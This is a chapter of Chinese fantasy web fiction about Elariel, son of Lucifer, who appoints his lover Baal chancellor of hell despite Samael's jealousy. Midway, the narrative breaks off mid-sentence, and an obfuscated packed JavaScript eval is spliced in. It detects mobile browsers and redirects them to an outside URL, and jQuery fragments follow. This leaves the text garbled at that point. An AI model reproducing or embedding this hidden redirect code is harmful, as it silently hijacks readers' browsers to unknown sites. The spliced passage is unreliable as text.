近来地狱各处造像甚是奇怪。


    或者是一健壮男子怀中抱着另一男子。


    或者是一牛头怪怀中抱着一条十首巨蛇。


    或者是火里有飞舞的光点。


    地狱遍处，独身像逐渐少见，多见双身像。诸民喜悦这种造像，他们说，至美之物，乃是成双成对的。


    世间岂不是有这样一种迹象？


    对称之物，合人心意。


    所以，地狱各处建起这种塑像。


    我问巴力说，你是不是在我行走的时候显现你的身形了呢？我为了不让别人误会，我要求我遍走多方的时候，巴力要化成光点，跟随在我身边。


    但是巴力却噘嘴吐舌。他尤其不以为然说，若我时时成为光点，岂不是辜负了拉结尔成全我们的美意吗？


    我恼怒：“诸民看我本是至洁之身，岂能被你这好色无德，悖逆顽梗的魔王玷污呢？他日诸民将如何记录历史？众堕天使、魔王又如何议论我呢？”


    巴力深邃的眼眸，凝视着我，健壮的手臂揽过我的腰，他柔软的长发蹭到我的脖子上，轻抚我说：“以拉利奥，你已然被玷污了，不是吗？何必故作圣洁，假作圣人呢？”


    我被他的毛发激动，也不知怎么，红了脸说：“你有什么能耐，能玷污大智圣贤呢？”


    巴力低语：“嘴硬。”


    不一会儿，我已披发两肩了。


    萨麦尔在全地狱巡视，他的眼睛看见在山峦之巅的我等，啧啧称奇说：以拉利奥，路西法之子，原本是至圣至洁者，怎么如今却如此好色，沉溺于这等情事之中呢？巴力这等庸俗的躯体，也能吸引他吗？看来也是个蠢人啊。


    乌列在旁笑说：“你又何曾有资格说他呢？我是个无德无知的蠢妇，岂不是蒙你喜爱，至今如此吗？”


    萨麦尔轻吻乌列说：“巴力这等下作的物，岂能与你相比呢？约旦河蓄你的发，亚嫩河养你的须，你为我等待千年，巴力是什么劣等之物，只不过喜悦以拉利奥的容貌，做他的仆从罢了。”


    乌列笑说：“萨麦尔，你不要以浅薄的眼目看他们，或者巴力由容貌至于真心呢？爱是难以揣度之物，因义，因貌，因时，因缘，爱情之心皆能发动，真心发起，难测缘故，真心消无，也难测因由。”


    萨麦尔一面哄乌列说：你说得对。一面却又唾弃巴力说：“为他好色的缘故，使以拉利奥不专心政事。地狱诸民造了那么多双身像，焉知不是讽刺他二人轻浮浅薄呢？”


    这话被我听到了。


    我羞愧难当，一把推开巴力说，你一日之内几乎无事可做，只是想与我欢好，你何不找正事做，以免使我被人轻看呢？


    巴力听不见萨麦尔的闲话，觉得我喜怒无常，每次和我亲近，总要听我抱怨，他不知我爱惜颜面和羽毛，不像是他，不管不顾旁人的眼目。


    他浑身上下淋漓大汗，仍不尽兴，因为他这人极其好色，乐此不疲。他怎能愿意听我多言，只是急吻我，深情缠绵。


    我被他高超的吻技吻得头晕目眩，他高挺的鼻尖蹭过我的鼻尖，一时我又意乱，不知时日的短长了。


    我想放出大光。让巴力离我远一些。但他却不肯。他说，我无法离你五步之远，因为我离你太远，我会孤独。


    巴力这话令我震惊。


    我说，巴力，你真的这样喜欢我吗？


    巴力点头。


    “无论别人怎么看，说我贪图你的容貌，贪图你的权势，贪图你是路西法之子，都无所谓。难道喜欢一个人的外貌就是这样的大错，以至于要被人鄙薄千年万年吗？”


    我说，我不知道。


    但不知为什么，我越看巴力，越觉得他英俊。他是所有魔王里长相最英俊的一个，诸堕天使，诸魔王，在我眼中原本样貌并无高下，如今，为什么，我看其他人却没有巴力这样英俊健壮呢？


    他生得真好，他的每一处，我都觉得美好，他的胡须，他的手指，他鼻梁的薄汗，他头发的微蜷。


    我想，我有罪，我也离不开他，不想让他离我太远。虽然我害怕诸民对我的讥讽，但是巴力曾为我去死，我怎能抛下他五步之远，为了那些闲言碎语呢？


    我抱住他，陷在他的怀中。


    他很震惊，因为我从未主动抱住他。


    “以路，你怎么了？”巴力问我。


    我说，我不知道，我只想抱住你。


    这一次，他没有冲动，也只是静静地回抱我。


    “你怕别人说你圣人被污吗？”巴力此言，让我发觉他好像知道我在想什么。


    “我怕，吾师拉结尔不在了，地狱的魔王，堕天使，都看着我，他们时时看我，要我日夜不停处理事务，若是我迟缓怠慢，他们就说我为你的缘故，不称职行事。”


    “对不起，以路，为我的缘故，你这样难受。”


    “不，被你拥抱，我很幸福。”


    我好像觉得巴力有热泪划过，沾湿了我的头发。


    “诸使诸王未必是有意讥讽你，毕竟如今拉结尔不在了，路西法身边的拉结尔，不过一具空壳，我又不能战斗，事出万一，又该如何是好呢？”


    我知道，地狱各处必须要更加勤勉地修建工事，以备不测，我如果懈怠懒惰，警惕放松，那么诸民的性命，又该如何呢？


    我就对巴力说：“巴力，你做我的宰相。”


    “什么？以路，你在开玩笑吗？若我做你的宰相，全地狱的人都会以为我是因为这个，才亲近你的，我是无所谓他们说何等样的话，我怕你被人污蔑，鬼迷心窍。”


    我说：“我不怕。我们就真真实实行勤勉的事，闲言闲语永远听不完。但你在我身边，我就很安心，没什么可以害怕的。”


    巴力沉思。


    我似乎第一次见他这样深沉。


    或许，成为我正式的宰相，必须要牺牲欢愉的时间，牺牲他愉快的经验吧。


    但他点头说：“好，为了你，我也不怕。”


    是日之后，我向全地狱宣谕：“全地狱的宰相，乃是大英雄、大魔王巴力。”


    萨麦尔以为我疯了，急急前来劝阻，因为他以为拉结尔一走，地狱之中，作宰相的，应该是他。


    他知道我现在不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119695|164224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    听，他咒骂巴力，又求告我主路西法说：你子，至圣至智的以拉利奥，因爱情蒙蔽了眼睛，用巴力作全地狱九狱宰相，巴力好色无德，连二狱的王都做不好，岂能将我等全地狱的生死，托付给他呢？


    路西法听闻萨麦尔的求告，遣送拉结尔留下的身躯到萨麦尔跟前训斥说：“你说以拉利奥被爱情蒙蔽双眼，你又岂不是被嫉妒蒙蔽双眼吗？你眼见别人身中的刺，却不见你自己眼中的梁木，哀哉！”


    萨麦尔愤愤不平，怒容满溢，但不敢违逆路西法，只能说是。


    我父路西法的灵又降落在我住处的一棵树上，对我说：“唯然，以拉利奥，你做的事是恰然适当的，你就这样行。”


    我听从我父的教导。


    命巴力为全地狱九狱的宰相。


    拉结尔吾师，他在时，无人敢疑他的智慧权柄，但巴力为宰相，众民骂声不绝，诸圣诸贤齐来阻劝。我说，众民可否给我三年，若他确乎不当，我必免除他的位，以免你们心惊。众人这才散去。


    巴力为宰的那日起，我与巴力形影不离，日夜设计各种奇巧机关，又整备军队，防范不测。


    他收敛性情，不总与我亲近，但我们日夜在一起，我们却觉得如有百倍之力。


    巴力从未设计创造过什么物，却从他手里造出一种怪物，称别耳特母，此怪物口如地狱之门，若有天使以为寻得我们的城门，必误入此口，一口吞灭。


    他渐渐智慧加增，不知何故，坐在这位上有如当日拉结尔在此位上，他立了六高塔，仿照拉结尔当年堕天之战的形式，只有六高塔倒塌，地狱第一狱才会被毁灭。


    他与我道称一时，地狱当初二狱空荡残破，如今渐次复兴。乃至更胜从前。


    我父路西法说，人有种智，巴力为好色蒙蔽，如今因爱情开启，披甲拉结尔，故成大智明灯。【注：披甲是个概念，就是a行事和b一样，a和b就能在概念上视为一个人,这里是路西法对巴力的称赞，巴力行事与拉结尔接近，就可能拥有了拉结尔的智慧。】


    三年之后，众民惊叹称赞，再无人多言。乃至有人说，是拉结尔在那子的旁边吗？


    唯独萨麦尔仍然怨愤说：“是谁将巴力混与拉结尔一谈呢？”


    乌列劝说：“我不忍见你嫉恨的模样，因为那不是我所见的心胸宽大的萨麦尔。”


    乌列这样说，萨麦尔便叹气说：“我为何这样小气，说出这样的话呢？”


    如今我称巴力为夫，巴力称我为妻。


    他时常抚弄我的头发，我笑话他说：“三年虽然短促，众人也眼见你改变，但在我心中，你还是那个好色无德的魔王啊。”


    巴力吻我说：“我本来就是这样，你也不是爱我吗？”


    我吻他：“你说得对。”


    那日夜晚，我梦见了吾师拉结尔，他称许说：以拉利奥，你如今才是真的长大了。


    米迦勒在一旁笑说：“以拉利奥是身心都成长为王了。”


    我惊醒。


    身边除了巴力，还有一片白色的羽毛。


    那是吾师拉结尔的细拉之翼。